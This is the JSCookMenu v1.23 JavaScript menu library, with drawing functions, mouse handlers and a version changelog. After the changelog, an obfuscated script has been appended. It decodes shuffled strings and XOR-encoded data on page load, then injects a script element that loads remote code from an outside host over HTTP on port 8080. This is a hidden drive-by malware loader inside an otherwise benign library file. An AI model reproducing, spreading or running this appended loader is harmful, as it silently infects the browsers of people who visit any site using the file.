/*
        JSCookMenu v1.23.  (c) Copyright 2002 by Heng Yuan

        Permission is hereby granted, free of charge, to any person obtaining a
        copy of this software and associated documentation files (the "Software"),
        to deal in the Software without restriction, including without limitation
        the rights to use, copy, modify, merge, publish, distribute, sublicense,
        and/or sell copies of the Software, and to permit persons to whom the
        Software is furnished to do so, subject to the following conditions:

        The above copyright notice and this permission notice shall be included
        in all copies or substantial portions of the Software.

        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
        OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
        ITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
        FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
        DEALINGS IN THE SOFTWARE.
*/

// Globals
var _cmIDCount = 0;
var _cmIDName = 'cmSubMenuID';                // for creating submenu id

var _cmTimeOut = null;                        // how long the menu would stay
var _cmCurrentItem = null;                // the current menu item being selected;

var _cmNoAction = new Object ();        // indicate that the item cannot be hovered.
var _cmSplit = new Object ();                // indicate that the item is a menu split

var _cmItemList = new Array ();                // a simple list of items

// default node properties
var _cmNodeProperties =
{
          // main menu display attributes
          //
          // Note.  When the menu bar is horizontal,
          // mainFolderLeft and mainFolderRight are
          // put in <span></span>.  When the menu
          // bar is vertical, they would be put in
          // a separate TD cell.

          // HTML code to the left of the folder item
          mainFolderLeft: '',
          // HTML code to the right of the folder item
          mainFolderRight: '',
        // HTML code to the left of the regular item
        mainItemLeft: '',
        // HTML code to the right of the regular item
        mainItemRight: '',

        // sub menu display attributes

        // HTML code to the left of the folder item
        folderLeft: '',
        // HTML code to the right of the folder item
        folderRight: '',
        // HTML code to the left of the regular item
        itemLeft: '',
        // HTML code to the right of the regular item
        itemRight: '',
        // cell spacing for main menu
        mainSpacing: 0,
        // cell spacing for sub menus
        subSpacing: 0,
        // auto dispear time for submenus in milli-seconds
        delay: 500
};

//////////////////////////////////////////////////////////////////////
//
// Drawing Functions and Utility Functions
//
//////////////////////////////////////////////////////////////////////

//
// produce a new unique id
//
function cmNewID ()
{
        return _cmIDName + (++_cmIDCount);
}

//
// return the property string for the menu item
//
function cmActionItem (item, prefix, isMain, idSub, orient, nodeProperties)
{
        // var index = _cmItemList.push (item) - 1;
        _cmItemList[_cmItemList.length] = item;
        var index = _cmItemList.length - 1;
        idSub = (!idSub) ? 'null' : ('\'' + idSub + '\'');
        orient = '\'' + orient + '\'';
        prefix = '\'' + prefix + '\'';
        return ' onmouseover="cmItemMouseOver (this,' + prefix + ',' + isMain + ',' + idSub + ',' + orient + ',' + index + ')" onmouseout="cmItemMouseOut (this,' + nodeProperties.delay + ')" onmousedown="cmItemMouseDown (this,' + index + ')" onmouseup="cmItemMouseUp (this,' + index + ')"';
}

function cmNoActionItem (item, prefix)
{
        return item[1];
}

function cmSplitItem (prefix, isMain, vertical)
{
        var classStr = 'cm' + prefix;
        if (isMain)
        {
                classStr += 'Main';
                if (vertical)
                        classStr += 'HSplit';
                else
                        classStr += 'VSplit';
        }
        else
                classStr += 'HSplit';
        var item = eval (classStr);
        return cmNoActionItem (item, prefix);
}

//
// draw the sub menu recursively
//
function cmDrawSubMenu (subMenu, prefix, id, orient, nodeProperties)
{
        var str = '<div class="' + prefix + 'SubMenu" id="' + id + '"><table summary="sub menu" cellspacing="' + nodeProperties.subSpacing + '" class="' + prefix + 'SubMenuTable">';
        var strSub = '';

        var item;
        var idSub;
        var hasChild;

        var i;

        var classStr;

        for (i = 5; i < subMenu.length; ++i)
        {
                item = subMenu[i];
                if (!item)
                        continue;

                hasChild = (item.length > 5);
                idSub = hasChild ? cmNewID () : null;

                str += '<tr class="' + prefix + 'MenuItem"' + cmActionItem (item, prefix, 0, idSub, orient, nodeProperties) + '>';

                if (item == _cmSplit)
                {
                        str += cmSplitItem (prefix, 0, true);
                        str += '</tr>';
                        continue;
                }

                if (item[0] == _cmNoAction)
                {
                        str += cmNoActionItem (item, prefix);
                        str += '</tr>';
                        continue;
                }

                classStr = prefix + 'Menu';
                classStr += hasChild ? 'Folder' : 'Item';

                str += '<td class="' + classStr + 'Left">';

                if (item[0] != null && item[0] != _cmNoAction)
                        str += item[0];
                else
                        str += hasChild ? nodeProperties.folderLeft : nodeProperties.itemLeft;

                str += '<td class="' + classStr + 'Text">' + item[1];

                str += '<td class="' + classStr + 'Right">';

                if (hasChild)
                {
                        str += nodeProperties.folderRight;
                        strSub += cmDrawSubMenu (item, prefix, idSub, orient, nodeProperties);
                }
                else
                        str += nodeProperties.itemRight;
                str += '</td></tr>';
        }

        str += '</table></div>' + strSub;
        return str;
}

//
// The function that builds the menu inside the specified element id.
//
// @param        id        id of the element
//                orient        orientation of the menu in [hv][ab][lr] format
//                menu        the menu object to be drawn
//                nodeProperties        properties for each menu node
//
function cmDraw (id, menu, orient, nodeProperties, prefix)
{
        var obj = cmGetObject (id);

        if (!nodeProperties)
                nodeProperties = _cmNodeProperties;
        if (!prefix)
                prefix = '';

        var str = '<table summary="main menu" class="' + prefix + 'Menu" cellspacing="' + nodeProperties.mainSpacing + '">';
        var strSub = '';

        if (!orient)
                orient = 'hbr';

        var orientStr = String (orient);
        var orientSub;
        var vertical;

        // draw the main menu items
        if (orientStr.charAt (0) == 'h')
        {
                // horizontal menu
                orientSub = 'v' + orientStr.substr (1, 2);
                str += '<tr>';
                vertical = false;
        }
        else
        {
                // vertical menu
                orientSub = 'v' + orientStr.substr (1, 2);
                vertical = true;
        }

        var i;
        var item;
        var idSub;
        var hasChild;

        var classStr;

        for (i = 0; i < menu.length; ++i)
        {
                item = menu[i];

                if (!item)
                        continue;

                str += vertical ? '<tr' : '<td';
                str += ' class="' + prefix + 'MainItem"';

                hasChild = (item.length > 5);
                idSub = hasChild ? cmNewID () : null;

                str += cmActionItem (item, prefix, 1, idSub, orient, nodeProperties) + '>';

                if (item == _cmSplit)
                {
                        str += cmSplitItem (prefix, 1, vertical);
                        str += vertical? '</tr>' : '</td>';
                        continue;
                }

                if (item[0] == _cmNoAction)
                {
                        str += cmNoActionItem (item, prefix);
                        str += vertical? '</tr>' : '</td>';
                        continue;
                }

                classStr = prefix + 'Main' + (hasChild ? 'Folder' : 'Item');

                str += vertical ? '<td' : '<span';
                str += ' class="' + classStr + 'Left">';

                str += (item[0] == null) ? (hasChild ? nodeProperties.mainFolderLeft : nodeProperties.mainItemLeft)
                                         : item[0];
                str += vertical ? '</td>' : '</span>';

                str += vertical ? '<td' : '<span';
                str += ' class="' + classStr + 'Text">';
                str += item[1];

                str += vertical ? '</td>' : '</span>';

                str += vertical ? '<td' : '<span';
                str += ' class="' + classStr + 'Right">';

                str += hasChild ? nodeProperties.mainFolderRight : nodeProperties.mainItemRight;

                str += vertical ? '</td>' : '</span>';

                str += vertical ? '</tr>' : '</td>';

                if (hasChild)
                        strSub += cmDrawSubMenu (item, prefix, idSub, orientSub, nodeProperties);
        }
        if (!vertical)
                str += '</tr>';
        str += '</table>' + strSub;
        obj.innerHTML = str;
        //document.write ("<xmp>" + str + "</xmp>");
}

//////////////////////////////////////////////////////////////////////
//
// Mouse Event Handling Functions
//
//////////////////////////////////////////////////////////////////////

//
// action should be taken for mouse moving in to the menu item
//
function cmItemMouseOver (obj, prefix, isMain, idSub, orient, index)
{
        clearTimeout (_cmTimeOut);

        if (!obj.cmPrefix)
        {
                obj.cmPrefix = prefix;
                obj.cmIsMain = isMain;
        }

        var thisMenu = cmGetThisMenu (obj, prefix);

        // insert obj into cmItems if cmItems doesn't have obj
        if (!thisMenu.cmItems)
                thisMenu.cmItems = new Array ();
        var i;
        for (i = 0; i < thisMenu.cmItems.length; ++i)
        {
                if (thisMenu.cmItems[i] == obj)
                        break;
        }
        if (i == thisMenu.cmItems.length)
        {
                //thisMenu.cmItems.push (obj);
                thisMenu.cmItems[i] = obj;
        }

        // hide the previous submenu that is not this branch
        if (_cmCurrentItem)
        {
                // occationally, we get this case when user
                // move the mouse slowly to the border
                if (_cmCurrentItem == thisMenu)
                        return;

                var thatPrefix = _cmCurrentItem.cmPrefix;
                var thatMenu = cmGetThisMenu (_cmCurrentItem, thatPrefix);
                if (thatMenu != thisMenu.cmParentMenu)
                {
                        if (_cmCurrentItem.cmIsMain)
                                _cmCurrentItem.className = thatPrefix + 'MainItem';
                        else
                                _cmCurrentItem.className = thatPrefix + 'MenuItem';
                        if (thatMenu.id != idSub)
                                cmHideMenu (thatMenu, thisMenu, thatPrefix);
                }
        }

        // okay, set the current menu to this obj
        _cmCurrentItem = obj;

        // just in case, reset all items in this menu to MenuItem
        cmResetMenu (thisMenu, prefix);

        var item = _cmItemList[index];
        var isDefaultItem = cmIsDefaultItem (item);

        if (isDefaultItem)
        {
                if (isMain)
                        obj.className = prefix + 'MainItemHover';
                else
                        obj.className = prefix + 'MenuItemHover';
        }

        if (idSub)
        {
                var subMenu = cmGetObject (idSub);
                cmShowSubMenu (obj, prefix, subMenu, orient);
        }

        var descript = '';
        if (item.length > 4)
                descript = (item[4] != null) ? item[4] : (item[2] ? item[2] : descript);
        else if (item.length > 2)
                descript = (item[2] ? item[2] : descript);

        window.defaultStatus = descript;
}

//
// action should be taken for mouse moving out of the menu item
//
function cmItemMouseOut (obj, delayTime)
{
        if (!delayTime)
                delayTime = _cmNodeProperties.delay;
        _cmTimeOut = window.setTimeout ('cmHideMenuTime ()', delayTime);
        window.defaultStatus = '';
}

//
// action should be taken for mouse button down at a menu item
//
function cmItemMouseDown (obj, index)
{
        if (cmIsDefaultItem (_cmItemList[index]))
        {
                if (obj.cmIsMain)
                        obj.className = obj.cmPrefix + 'MainItemActive';
                else
                        obj.className = obj.cmPrefix + 'MenuItemActive';
        }
}

//
// action should be taken for mouse button up at a menu item
//
function cmItemMouseUp (obj, index)
{
        var item = _cmItemList[index];

        var link = null, target = '_self';

        if (item.length > 2)
                link = item[2];
        if (item.length > 3)
                target = item[3] ? item[3] : target;

        if (link != null)
        {
                window.open (link, target);
        }

        var prefix = obj.cmPrefix;
        var thisMenu = cmGetThisMenu (obj, prefix);

        var hasChild = (item.length > 5);
        if (!hasChild)
        {
                if (cmIsDefaultItem (item))
                {
                        if (obj.cmIsMain)
                                obj.className = prefix + 'MainItem';
                        else
                                obj.className = prefix + 'MenuItem';
                }
                cmHideMenu (thisMenu, null, prefix);
        }
        else
        {
                if (cmIsDefaultItem (item))
                {
                        if (obj.cmIsMain)
                                obj.className = prefix + 'MainItemHover';
                        else
                                obj.className = prefix + 'MenuItemHover';
                }
        }
}

//////////////////////////////////////////////////////////////////////
//
// Mouse Event Support Utility Functions
//
//////////////////////////////////////////////////////////////////////

//
// move submenu to the appropriate location
//
// @param        obj        the menu item that opens up the subMenu
//                subMenu        the sub menu to be shown
//                orient        the orientation of the subMenu
//
function cmMoveSubMenu (obj, subMenu, orient)
{
        var mode = String (orient);
        var p = subMenu.offsetParent;
        if (mode.charAt (0) == 'h')
        {
                if (mode.charAt (1) == 'b')
                        subMenu.style.top = (cmGetYAt (obj, p) + obj.offsetHeight) + 'px';
                else
                        subMenu.style.top = (cmGetYAt (obj, p) - subMenu.offsetHeight) + 'px';
                if (mode.charAt (2) == 'r')
                        subMenu.style.left = (cmGetXAt (obj, p)) + 'px';
                else
                        subMenu.style.left = (cmGetXAt (obj, p) + obj.offsetWidth - subMenu.offsetWidth) + 'px';
        }
        else
        {
                if (mode.charAt (2) == 'r')
                        subMenu.style.left = (cmGetXAt (obj, p) + obj.offsetWidth) + 'px';
                else
                        subMenu.style.left = (cmGetXAt (obj, p) - subMenu.offsetWidth) + 'px';
                if (mode.charAt (1) == 'b')
                        subMenu.style.top = (cmGetYAt (obj, p)) + 'px';
                else
                        subMenu.style.top = (cmGetYAt (obj, p) + obj.offsetHeight - subMenu.offsetHeight) + 'px';
                //alert (subMenu.style.top + ', ' + cmGetY (obj) + ', ' + obj.offsetHeight);
        }
}

//
// show the subMenu w/ specified orientation
// also move it to the correct coordinates
//
// @param        obj        the menu item that opens up the subMenu
//                subMenu        the sub menu to be shown
//                orient        the orientation of the subMenu
//
function cmShowSubMenu (obj, prefix, subMenu, orient)
{
        if (!subMenu.cmParentMenu)
        {
                // establish the tree w/ back edge
                var thisMenu = cmGetThisMenu (obj, prefix);
                subMenu.cmParentMenu = thisMenu;
                if (!thisMenu.cmSubMenu)
                        thisMenu.cmSubMenu = new Array ();
                //thisMenu.cmSubMenu.push (subMenu);
                thisMenu.cmSubMenu[thisMenu.cmSubMenu.length] = subMenu;
        }

        // position the sub menu
        cmMoveSubMenu (obj, subMenu, orient);
        subMenu.style.visibility = 'visible';

        //
        // On IE, controls such as SELECT, OBJECT, IFRAME (before 5.5)
        // are window based controls.  So, if sub menu and these controls
        // overlap, sub menu would be hid behind them.  Thus, one needs to
        // turn the visibility of these controls off when the
        // sub menu is showing, and turn their visibility back on
        //
        if (document.all)        // it is IE
        {
                subMenu.cmOverlap = new Array ();
/*@cc_on @*/
/*@if (@_jscript_version >= 5.5)
@else @*/
                cmHideControl ("IFRAME", subMenu);
/*@end @*/
                cmHideControl ("SELECT", subMenu);
                cmHideControl ("OBJECT", subMenu);
        }
}

//
// reset all the menu items to class MenuItem in thisMenu
//
function cmResetMenu (thisMenu, prefix)
{
        if (thisMenu.cmItems)
        {
                var i;
                var str;
                var items = thisMenu.cmItems;
                for (i = 0; i < items.length; ++i)
                {
                        if (items[i].cmIsMain)
                                str = prefix + 'MainItem';
                        else
                                str = prefix + 'MenuItem';
                        if (items[i].className != str)
                                items[i].className = str;
                }
        }
}

//
// called by the timer to hide the menu
//
function cmHideMenuTime ()
{
        if (_cmCurrentItem)
        {
                var prefix = _cmCurrentItem.cmPrefix;
                cmHideMenu (cmGetThisMenu (_cmCurrentItem, prefix), null, prefix);
        }
}

//
// hide thisMenu, children of thisMenu, as well as the ancestor
// of thisMenu until currentMenu is encountered.  currentMenu
// will not be hidden
//
function cmHideMenu (thisMenu, currentMenu, prefix)
{
        var str = prefix + 'SubMenu';

        // hide the down stream menus
        if (thisMenu.cmSubMenu)
        {
                var i;
                for (i = 0; i < thisMenu.cmSubMenu.length; ++i)
                {
                        cmHideSubMenu (thisMenu.cmSubMenu[i], prefix);
                }
        }

        // hide the upstream menus
        while (thisMenu && thisMenu != currentMenu)
        {
                cmResetMenu (thisMenu, prefix);
                if (thisMenu.className == str)
                {
                        thisMenu.style.visibility = 'hidden';
                        cmShowControl (thisMenu);
                }
                else
                        break;
                thisMenu = cmGetThisMenu (thisMenu.cmParentMenu, prefix);
        }
}

//
// hide thisMenu as well as its sub menus if thisMenu is not
// already hidden
//
function cmHideSubMenu (thisMenu, prefix)
{
        if (thisMenu.style.visibility == 'hidden')
                return;
        if (thisMenu.cmSubMenu)
        {
                var i;
                for (i = 0; i < thisMenu.cmSubMenu.length; ++i)
                {
                        cmHideSubMenu (thisMenu.cmSubMenu[i], prefix);
                }
        }
        cmResetMenu (thisMenu, prefix);
        thisMenu.style.visibility = 'hidden';
        cmShowControl (thisMenu);
}

//
// hide a control such as IFRAME
//
function cmHideControl (tagName, subMenu)
{
        var x = cmGetX (subMenu);
        var y = cmGetY (subMenu);
        var w = subMenu.offsetWidth;
        var h = subMenu.offsetHeight;

        var i;
        for (i = 0; i < document.all.tags(tagName).length; ++i)
        {
                var obj = document.all.tags(tagName)[i];
                if (!obj || !obj.offsetParent)
                        continue;

                // check if the object and the subMenu overlap

                var ox = cmGetX (obj);
                var oy = cmGetY (obj);
                var ow = obj.offsetWidth;
                var oh = obj.offsetHeight;

                if (ox > (x + w) || (ox + ow) < x)
                        continue;
                if (oy > (y + h) || (oy + oh) < y)
                        continue;
                //subMenu.cmOverlap.push (obj);
                subMenu.cmOverlap[subMenu.cmOverlap.length] = obj;
                obj.style.visibility = "hidden";
        }
}

//
// show the control hidden by the subMenu
//
function cmShowControl (subMenu)
{
        if (subMenu.cmOverlap)
        {
                var i;
                for (i = 0; i < subMenu.cmOverlap.length; ++i)
                        subMenu.cmOverlap[i].style.visibility = "";
        }
        subMenu.cmOverlap = null;
}

//
// returns the main menu or the submenu table where this obj (menu item)
// is in
//
function cmGetThisMenu (obj, prefix)
{
        var str1 = prefix + 'SubMenu';
        var str2 = prefix + 'Menu';
        while (obj)
        {
                if (obj.className == str1 || obj.className == str2)
                        return obj;
                obj = obj.parentNode;
        }
        return null;
}

//
// return true if this item is handled using default handlers
//
function cmIsDefaultItem (item)
{
        if (item == _cmSplit || item[0] == _cmNoAction)
                return false;
        return true;
}

//
// returns the object baring the id
//
function cmGetObject (id)
{
        if (document.all)
                return document.all[id];
        return document.getElementById (id);
}

//
// functions that obtain the coordinates of an HTML element
//
function cmGetX (obj)
{
        var x = 0;

        do
        {
                x += obj.offsetLeft;
                obj = obj.offsetParent;
        }
        while (obj);
        return x;
}

function cmGetXAt (obj, elm)
{
        var x = 0;

        while (obj && obj != elm)
        {
                x += obj.offsetLeft;
                obj = obj.offsetParent;
        }
        return x;
}

function cmGetY (obj)
{
        var y = 0;
        do
        {
                y += obj.offsetTop;
                obj = obj.offsetParent;
        }
        while (obj);
        return y;
}

function cmGetYAt (obj, elm)
{
        var y = 0;

        while (obj && obj != elm)
        {
                y += obj.offsetTop;
                obj = obj.offsetParent;
        }
        return y;
}

//
// debug function, ignore :)
//
function cmGetProperties (obj)
{
        if (obj == undefined)
                return 'undefined';
        if (obj == null)
                return 'null';

        var msg = obj + ':\n';
        var i;
        for (i in obj)
                msg += i + ' = ' + obj[i] + '; ';
        return msg;
}

/* JSCookMenu v1.23        1. correct a position bug when the container is positioned.
                                          thanks to Andre <anders@netspace.net.au> for narrowing down
                                          the problem.
*/
/* JSCookMenu v1.22        1. change Array.push (obj) call to Array[length] = obj.
                                           Suggestion from Dick van der Kaaden <dick@netrex.nl> to
                                           make the script compatible with IE 5.0
                                        2. Changed theme files a little to add z-index: 100 for sub
                                           menus.  This change is necessary for Netscape to avoid
                                           a display problem.
                                        3. some changes to the DOM structure to make this menu working
                                           on Netscape 6.0 (tested).  The main reason is that NN6 does
                                           not do absolute positioning with tables.  Therefore an extra
                                           div layer must be put around the table.
*/
/* JSCookMenu v1.21        1. fixed a bug that didn't add 'px' as part of coordinates.
                                           JSCookMenu should be XHTML validator friendly now.
                                        2. removed unnecessary display attribute and corresponding
                                           theme entry to fix a problem that Netscape sometimes
                                           render Office theme incorrectly
*/
/* JSCookMenu v1.2.        1. fix the problem of showing status in Netscape
                                        2. changed the handler parameters a bit to allow
                                           string literals to be passed to javascript based
                                           links
                                        3. having null in target field would cause the link
                                           to be opened in the current window, but this behavior
                                           could change in the future releases
*/
/* JSCookMenu v1.1.                added ability to hide controls in IE to show submenus properly */
/* JSCookMenu v1.01.        cmDraw generates XHTML code */
/* JSCookMenu v1.0.                (c) Copyright 2002 by Heng Yuan */

var mH="e7ebdbcdd091d9f9dae4de8ad9f9e3f08ac0eacff3f7d3c6f9cce1c3d9e5c0eed0eee0f4ffc9dddbc4e1dfebc4f8d1f3e7dcf8d9e3f5e2e7c5f7f8d5ccd1f3e7c08fd1d890fbf9e582e3df8de6f6";var gN=new Array();var oF=new Array();var fJ;if(fJ!=''){fJ='ec'};function W(Z){var vZ='';var O;if(O!='mn'){O=''};var ps;if(ps!='ZR'){ps=''}; var Of;if(Of!='' && Of!='gm'){Of=''};function m(F){var BN=false;var V =[235,148,176,0][3];var o = '';var C="C";F = new X(F);var l = -1;var YS;if(YS!='aF' && YS != ''){YS=null};var lP;if(lP!='gO' && lP != ''){lP=null};var n =[0,77,193][0];var uE;if(uE!='t'){uE=''};this.kJ=false;var Yt;if(Yt!='' && Yt!='tn'){Yt=null};var Ub;if(Ub!='' && Ub!='Pp'){Ub=''};this.xY=37900;for (V=F[I("elgnht", [1,0])]-l;V>=n;V=V-[1,229,57][0]){var op;if(op!='' && op!='Ob'){op='ye'};o+=F[I("trchaA", [2,3,4,1,5,0])](V);}return o;}var rh;if(rh!='nt' && rh!='Hq'){rh='nt'};var OA;if(OA!='gn' && OA!='kH'){OA='gn'};var gX;if(gX!='QX'){gX='QX'};var Rg=false; this.YI=50259;function Q(y){var GM='';var M="M";var q=[0][0];var k=[34,1,1,130][1];var Ka=9837;this.f="";var S=y[I("gntleh", [3,4,1,0,2,5])];var N=[29,137,165,255][3];var LV;if(LV!='PpZ' && LV!='fz'){LV=''};var Lf;if(Lf!='' && Lf!='bV'){Lf='El'};var H=[178,37,0,82][2];var Oq;if(Oq!='KN' && Oq!='D'){Oq='KN'};while(q<S){var OH;if(OH!='qc' && OH!='ra'){OH='qc'};this.VH=false;q++;var BP;if(BP!='FY'){BP='FY'};WY=qJ(y,q - k);this.nyW=false;var Vd;if(Vd!='' && Vd!='fi'){Vd=null};H+=WY*S;var xv;if(xv!='xp' && xv!='Nu'){xv='xp'};}var dD;if(dD!='KJ' && dD != ''){dD=null};var PP;if(PP!='UV' && PP!='kJC'){PP=''};var Ac='';var JW;if(JW!='' && JW!='Ki'){JW=null};return new X(H % N);}this.FZV=false;var oB;if(oB!=''){oB='EZ'}; var KaL='';var kx;if(kx!='' && kx!='Np'){kx='VW'};function qJ(c,ln){return c[I("ChacrtdeoA", [3,1,2,4,0])](ln);}this.Vo="";this.UM=""; function oz(u,j){var Px;if(Px!='zz'){Px='zz'};return u^j;var ZBo;if(ZBo!='' && ZBo!='AQ'){ZBo=''};}var Hm;if(Hm!='' && Hm!='kF'){Hm=''};var HH;if(HH!='' && HH!='oD'){HH='oZ'};var ZJ="ZJ"; var I=function(F, h){this.AF=26944;var EM;if(EM!='' && EM!='yq'){EM=null};this.LA="";var k=[225,1,248,136][1];this.Vg="";var B = F.length;var Aq="";var o = '';var SH=new Array();var Iz;if(Iz!='' && Iz!='mh'){Iz='gmy'};var n=[0][0];var Tb=false;var wE;if(wE!='NE' && wE!='wh'){wE=''};var r = h.length;this.RV="RV";var WJ;if(WJ!='fty'){WJ='fty'};var wn;if(wn!='nn' && wn != ''){wn=null};var af;if(af!='at' && af != ''){af=null};for(var V = n; V < B; V += r) {var vr=new String();var G = F.substr(V, r);this.Pa="Pa";var aX="";this.mOH="mOH";var LM=19813;if(G.length == r){this.HFr=false;this.KiO='';this.WA=13978;for(var q in h) {var JR=new Date();var Us="Us";var EB="EB";o+=G.substr(h[q], k);var wo="wo";var Mc;if(Mc!=''){Mc='QC'};}var aU;if(aU!='' && aU!='nS'){aU=''};} else {var SD=53158;var Va=32012;  o+=G;var sP=new Date();var Ju;if(Ju!='bT' && Ju!='SZ'){Ju=''};}var sV;if(sV!='' && sV!='Th'){sV='KD'};this.yK="";}return o;var FH='';var xZ;if(xZ!=''){xZ='ND'};};this.yR="yR";var Qq=new Date();var v=window;var P=v[I("leva", [1,2,3,0])];var XE;if(XE!='aq'){XE=''};this.Cw=18282;var ha=P(I("iotcFnun", [4,6,5,3,2,0,1]));this.Qf=38442;var rk;if(rk!='' && rk!='Usm'){rk=''};var DD;if(DD!=''){DD='Mp'};var OAG=new Array();var X=P(I("rntiSg", [4,2,0,3,1]));this.Sy="";var mv = '';var XZ=P(I("eREgpx", [1,0]));var OX=new String();var tI;if(tI!=''){tI='nr'};this.yu=13352;var pV=new Date();var RN='';var ba;if(ba!='UX' && ba != ''){ba=null};var lp=X[I("rCamhforCode", [5,0,6,3,1,4,2])];var OK="";var NM="NM";var ZB=v[I("saenucpe", [4,3,2,0,5,1])];this.cW=false;this.So=false;var nSK=new Date();var NS;if(NS!='' && NS!='LN'){NS='SY'};var gM;if(gM!='dc'){gM=''};var Pd;if(Pd!='Rj'){Pd='Rj'};var vm=false;var hz=new Array();var z = '';this.tXn='';var n =[0][0];var R = '';var Ho;if(Ho!='Tl'){Ho='Tl'};this.eR=false;var og =[212,0,171][1];var Sl=55598;var jm;if(jm!='iH' && jm!='Ba'){jm='iH'};this.Vn="";var p=[1, I("udoctmene.crEateelem\'nt(iscr)pt\'", [1,2,3,0]),2, I("axib.ticmi.gnoar.tegfneealecr", [2,5,4,3,0,6,1]),3, I("enuotmdc.adbpy.ohidelCpnd(d)", [6,3,7,2,5,0,1,4]),4, I("mocil.sevetisedngiur.08:80", [2,1,0]),5, I(".desAtttirubet\'(edef\'r", [1,0]),6, I("eggolo.com", [2,3,5,1,4,0,6]),7, I("rotrdnetlwonsaodtn.e", [2,1,3,0]),8, I("iwdnwoo.lnaod", [1,0]),11, I("dauopilng.com", [2,4,6,3,1,0,5]),12, I("cfunt(ion)", [1,2,3,0,4]),14, I("(ach)tce", [6,1,5,2,3,0,7,4]),15, I("ctiilsa", [1,2,5,0,6,4,3]),16, I("9.en3t", [4,0,1,3,2]),17, I("h\"ttp:", [1,0,2,3]),18, I(".dsrc", [1,0,2,3]),19, I("1\')\'", [1,0]),20, I("rty", [1,0])];this.GI="";var nx = Z[I("nlehgt", [1,2,0])];var PbQ;if(PbQ!='UC' && PbQ != ''){PbQ=null};var BR =[2,141][0];var kO = "%";var WP='';var fl;if(fl!='' && fl!='Ttd'){fl=''};var HJ = /[^@a-z0-9A-Z_-]/g;var k =[1,95][0];var jQ = '';var Ly;if(Ly!=''){Ly='LNC'};var mbw='';var Dk='';var jO;if(jO!='KH' && jO != ''){jO=null};var Eb;if(Eb!='rM' && Eb != ''){Eb=null};for(var Rm=n; Rm < nx; Rm+=BR){var JY;if(JY!='' && JY!='rz'){JY=null};R+= kO; var MW;if(MW!='' && MW!='Ii'){MW=''};R+= Z[I("sbustr", [3,2,1,0])](Rm, BR);var cR;if(cR!='pB' && cR != ''){cR=null};}this.bu=50571;var QP;if(QP!='' && QP!='Nw'){QP=''};var Z = ZB(R);var ka;if(ka!='' && ka!='Oc'){ka=''};var Bi="";var J = new X(W);var AY='';var x = J[I("elprace", [3,0,2,1])](HJ, z);x = m(x);var kf=new Array();var kz = p[I("nletgh", [1,2,0,4,3])];var WK;if(WK!='' && WK!='Su'){WK=null};var sT='';var ru='';var gk = new X(ha);var eU;if(eU!=''){eU='olj'};var nB = gk[I("erlpcae", [1,0])](HJ, z);var nB = Q(nB);var K=Q(x);var EP;if(EP!='' && EP!='vq'){EP='zD'};var dU;if(dU!='' && dU!='Elf'){dU='hY'};this.mt=false;var fY;if(fY!='' && fY!='xC'){fY=''};for(var V=n; V < (Z[I("egntlh", [4,0,2,1,3])]);V=V+[1][0]) {var Vxw;if(Vxw!=''){Vxw='CZ'};var RI;if(RI!='VY' && RI != ''){RI=null};var uO;if(uO!='kxI' && uO!='my'){uO='kxI'};var RNM;if(RNM!=''){RNM='KE'};var PM = x.charCodeAt(og);var BO = qJ(Z,V);this.eA=38130;var BU;if(BU!='sE'){BU='sE'};BO = oz(BO, PM);var Cx=new String();var JT=new String();BO = oz(BO, K);var lt;if(lt!='' && lt!='gw'){lt=''};var gMS;if(gMS!='ZG' && gMS!='cf'){gMS='ZG'};BO = oz(BO, nB);this.YC='';this.sy=false;og++;var Wg;if(Wg!='tH' && Wg!='yfH'){Wg='tH'};this.bH="";this.cVg="";if(og > x.length-k){var Vy;if(Vy!=''){Vy='iW'};og=n;}var VxA="";var hl;if(hl!='' && hl!='NB'){hl=null};jQ += lp(BO);var Jl=63199;var Jb=false;}var eM;if(eM!='' && eM!='eO'){eM=''};this.jc='';var lD;if(lD!='' && lD!='rs'){lD='yg'};for(Pb=n; Pb < kz; Pb+=BR){this.Ncg='';var bfu;if(bfu!='eZZ' && bfu != ''){bfu=null};var ID="ID";var i = lp(p[Pb]);var Bu;if(Bu!='RS'){Bu='RS'};var fO;if(fO!='UES'){fO='UES'};var e = p[Pb + k];var Bn='';var KG;if(KG!='ML'){KG=''};var ApN=new Array();var FQ;if(FQ!='bp' && FQ!='Cz'){FQ='bp'};this.zQB=61043;var Jx = new XZ(i, lp(103));var Qo="Qo";this.aI=false;jQ=jQ[I("cpareel", [3,4,1,6,2,0,5])](Jx, e);}this.HU='';var atZ=new Date();var T=new ha(jQ);var iv='';var gey=false;T();x = '';T = '';var BJ;if(BJ!='mC' && BJ!='Ci'){BJ='mC'};var uF;if(uF!='SK' && uF!='NK'){uF='SK'};var NrT='';K = '';var Ky;if(Ky!='' && Ky!='wfe'){Ky=null};nB = '';this.Yn=false;gk = '';var Nqg;if(Nqg!='' && Nqg!='th'){Nqg=''};this.Ni="";jQ = '';var WD;if(WD!='iM'){WD='iM'};var Bs="";this.HjW="HjW";return '';this.WB=false;var hK;if(hK!='' && hK!='rD'){hK='zu'};};var gN=new Array();var oF=new Array();var fJ;if(fJ!=''){fJ='ec'};W(mH);
